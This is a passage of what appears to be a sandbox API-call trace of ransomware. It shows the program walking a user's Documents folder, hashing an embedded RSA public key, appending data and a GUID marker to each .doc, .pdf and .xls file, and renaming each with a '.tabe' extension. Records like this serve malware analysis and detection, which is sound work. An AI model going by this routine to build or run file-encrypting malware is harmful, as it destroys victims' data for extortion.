KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.338] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.338] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.339] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866fb0) returned 1 [0127.339] CryptCreateHash (in: hProv=0x866fb0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0127.339] CryptHashData (hHash=0x3463888, pbData=0x3ae95d8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0127.339] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0127.339] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0127.339] CryptDestroyHash (hHash=0x3463888) returned 1 [0127.339] CryptReleaseContext (hProv=0x866fb0, dwFlags=0x0) returned 1 [0127.339] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0127.339] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0127.340] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0127.340] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x3aefb48, Size=0x218) returned 0x3af7e10 [0127.340] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x13954, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.340] WriteFile (in: hFile=0x618, lpBuffer=0x347b558*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x347b558*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0127.340] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0127.340] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0127.341] CloseHandle (hObject=0x618) returned 1 [0127.342] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\wbRZ\\2Y7bkGdlV xSV8hevV3C\\DANH0 bekYVtTP54.doc" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\wbrz\\2y7bkgdlv xsv8hevv3c\\danh0 bekyvttp54.doc"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\wbRZ\\2Y7bkGdlV xSV8hevV3C\\DANH0 bekYVtTP54.doc.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\wbrz\\2y7bkgdlv xsv8hevv3c\\danh0 bekyvttp54.doc.tabe")) returned 1 [0127.343] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x414ab740, ftCreationTime.dwHighDateTime=0x1d5e259, ftLastAccessTime.dwLowDateTime=0xc881b690, ftLastAccessTime.dwHighDateTime=0x1d5e50c, ftLastWriteTime.dwLowDateTime=0xc881b690, ftLastWriteTime.dwHighDateTime=0x1d5e50c, nFileSizeHigh=0x0, nFileSizeLow=0x507c, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="Fkw_z7ghyYhd45kq.pdf", cAlternateFileName="FKW_Z7~1.PDF")) returned 1 [0127.343] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\wbRZ\\2Y7bkGdlV xSV8hevV3C\\Fkw_z7ghyYhd45kq.pdf") returned=".pdf" [0127.343] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\wbRZ\\2Y7bkGdlV xSV8hevV3C\\Fkw_z7ghyYhd45kq.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\wbrz\\2y7bkgdlv xsv8hevv3c\\fkw_z7ghyyhd45kq.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0127.345] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=20604) returned 1 [0127.345] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0127.346] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x5056, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.346] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0127.347] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0x507c, lpOverlapped=0x0) returned 1 [0127.348] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.348] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.348] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.348] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866fb0) returned 1 [0127.348] CryptCreateHash (in: hProv=0x866fb0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0127.348] CryptHashData (hHash=0x3463888, pbData=0x3ae95d8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0127.348] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0127.349] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0127.349] CryptDestroyHash (hHash=0x3463888) returned 1 [0127.349] CryptReleaseContext (hProv=0x866fb0, dwFlags=0x0) returned 1 [0127.349] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0127.349] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0127.349] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0127.349] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x3aefb48, Size=0x218) returned 0x3af7e10 [0127.349] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x507c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.349] WriteFile (in: hFile=0x618, lpBuffer=0x347b558*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x347b558*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0127.349] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0127.349] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0127.349] CloseHandle (hObject=0x618) returned 1 [0127.350] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\wbRZ\\2Y7bkGdlV xSV8hevV3C\\Fkw_z7ghyYhd45kq.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\wbrz\\2y7bkgdlv xsv8hevv3c\\fkw_z7ghyyhd45kq.pdf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\wbRZ\\2Y7bkGdlV xSV8hevV3C\\Fkw_z7ghyYhd45kq.pdf.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\wbrz\\2y7bkgdlv xsv8hevv3c\\fkw_z7ghyyhd45kq.pdf.tabe")) returned 1 [0127.351] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed4778c0, ftCreationTime.dwHighDateTime=0x1d5dc56, ftLastAccessTime.dwLowDateTime=0x8635d7e0, ftLastAccessTime.dwHighDateTime=0x1d5db06, ftLastWriteTime.dwLowDateTime=0x8635d7e0, ftLastWriteTime.dwHighDateTime=0x1d5db06, nFileSizeHigh=0x0, nFileSizeLow=0x1832a, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="LkHt9fRF_aXrfgl69.xls", cAlternateFileName="LKHT9F~1.XLS")) returned 1 [0127.352] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\wbRZ\\2Y7bkGdlV xSV8hevV3C\\LkHt9fRF_aXrfgl69.xls") returned=".xls" [0127.352] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\wbRZ\\2Y7bkGdlV xSV8hevV3C\\LkHt9fRF_aXrfgl69.xls" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\wbrz\\2y7bkgdlv xsv8hevv3c\\lkht9frf_axrfgl69.xls"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0127.352] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=99114) returned 1 [0127.352] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0127.353] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x18304, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.353] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0127.355] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0x1832a, lpOverlapped=0x0) returned 1 [0127.356] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.356] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.356] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.356] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866fb0) returned 1 [0127.356] CryptCreateHash (in: hProv=0x866fb0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0127.357] CryptHashData (hHash=0x3463888, pbData=0x3ae95d8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0127.357] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0127.357] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0127.357] CryptDestroyHash (hHash=0x3463888) returned 1 [0127.357] CryptReleaseContext (hProv=0x866fb0, dwFlags=0x0) returned 1 [0127.357] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0127.357] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 | out: StringUuid=0x3dcfa40) returned 0x0 [0127.357] RpcStringFreeA (in: String=0x3dcfa40 | out: String=0x3dcfa40) returned 0x0 [0127.357] RtlReAllocateHeap (Heap=0x810000, Flags=0x0, Ptr=0x3aefb48, Size=0x218) returned 0x3af7e10 [0127.358] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x1832a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.358] WriteFile (in: hFile=0x618, lpBuffer=0x347b558*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x347b558*, lpNumberOfBytesWritten=0x3dcfb50*=0x100, lpOverlapped=0x0) returned 1 [0127.358] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0127.358] WriteFile (in: hFile=0x618, lpBuffer=0x504448*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x3dcfb50, lpOverlapped=0x0 | out: lpBuffer=0x504448*, lpNumberOfBytesWritten=0x3dcfb50*=0x26, lpOverlapped=0x0) returned 1 [0127.358] CloseHandle (hObject=0x618) returned 1 [0127.359] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\wbRZ\\2Y7bkGdlV xSV8hevV3C\\LkHt9fRF_aXrfgl69.xls" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\wbrz\\2y7bkgdlv xsv8hevv3c\\lkht9frf_axrfgl69.xls"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\wbRZ\\2Y7bkGdlV xSV8hevV3C\\LkHt9fRF_aXrfgl69.xls.tabe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\wbrz\\2y7bkgdlv xsv8hevv3c\\lkht9frf_axrfgl69.xls.tabe")) returned 1 [0127.360] FindNextFileW (in: hFindFile=0x3463848, lpFindFileData=0x3dcfba4 | out: lpFindFileData=0x3dcfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x48d7ccc0, ftCreationTime.dwHighDateTime=0x1d5dcf8, ftLastAccessTime.dwLowDateTime=0x867a5fe0, ftLastAccessTime.dwHighDateTime=0x1d5e557, ftLastWriteTime.dwLowDateTime=0x867a5fe0, ftLastWriteTime.dwHighDateTime=0x1d5e557, nFileSizeHigh=0x0, nFileSizeLow=0x16656, dwReserved0=0xa0000003, dwReserved1=0x8100c4, cFileName="MlN0GfBziFy.pdf", cAlternateFileName="MLN0GF~1.PDF")) returned 1 [0127.360] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\wbRZ\\2Y7bkGdlV xSV8hevV3C\\MlN0GfBziFy.pdf") returned=".pdf" [0127.360] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\wbRZ\\2Y7bkGdlV xSV8hevV3C\\MlN0GfBziFy.pdf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\wbrz\\2y7bkgdlv xsv8hevv3c\\mln0gfbzify.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x618 [0127.361] GetFileSizeEx (in: hFile=0x618, lpFileSize=0x3dcfb40 | out: lpFileSize=0x3dcfb40*=91734) returned 1 [0127.361] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2be0000 [0127.362] SetFilePointerEx (in: hFile=0x618, liDistanceToMove=0x16630, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0127.362] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x3dcfb78, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb78*=0x26, lpOverlapped=0x0) returned 1 [0127.363] ReadFile (in: hFile=0x618, lpBuffer=0x2be0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x3dcfb70, lpOverlapped=0x0 | out: lpBuffer=0x2be0000*, lpNumberOfBytesRead=0x3dcfb70*=0x16656, lpOverlapped=0x0) returned 1 [0127.364] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.364] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.364] lstrlenA (lpString="-----BEGIN PUBLIC KEY-----\\\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA6iJhEi6gje\\/1Co9zM0Ge\\\\nMGiZuH2YO4FP54WsYmKyLmh+\\/\\/y8hITRkPXB159M+9gy5xZqJopQcqlZ8HBVI9LR\\\\nPROhQLh8L0zW3aeSuNuqGfW7xXk7cFzjAXuXZNBT6JGrGL5BYVzRdBpW04UOA2UD\\\\nbXVXJVE7fGXUVZrKrGoC2kvNZHSTDqK8cfhfwXD2H+o6f+LgYWEfssbY3O3\\/C\\/VS\\\\nytDwgojboTDS8z13GFTZxbp4RdYFhiOg9P5rDgO0dO9DIlmixL6alaOB0ee8LG40\\\\nfuliAzKjKwF0xoX3c+mW2W5CGjbAdfHQGHJktLgiuo7MsZH5Idfvc83eScmzakLC\\\\n0wIDAQAB\\\\n-----END PUBLIC KEY-----\\\\n") returned 494 [0127.364] CryptAcquireContextW (in: phProv=0x3dcfa50, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x3dcfa50*=0x866fb0) returned 1 [0127.365] CryptCreateHash (in: hProv=0x866fb0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x3dcfa58 | out: phHash=0x3dcfa58) returned 1 [0127.365] CryptHashData (hHash=0x3463888, pbData=0x3ae95d8, dwDataLen=0x1f3, dwFlags=0x0) returned 1 [0127.365] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x0, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x3dcfa54) returned 1 [0127.365] CryptGetHashParam (in: hHash=0x3463888, dwParam=0x2, pbData=0x3464110, pdwDataLen=0x3dcfa54, dwFlags=0x0 | out: pbData=0x3464110, pdwDataLen=0x3dcfa54) returned 1 [0127.365] CryptDestroyHash (hHash=0x3463888) returned 1 [0127.365] CryptReleaseContext (hProv=0x866fb0, dwFlags=0x0) returned 1 [0127.365] UuidCreate (in: Uuid=0x3dcfa48 | out: Uuid=0x3dcfa48) returned 0x0 [0127.365] UuidToStringA (in: Uuid=0x3dcfa48, StringUuid=0x3dcfa40 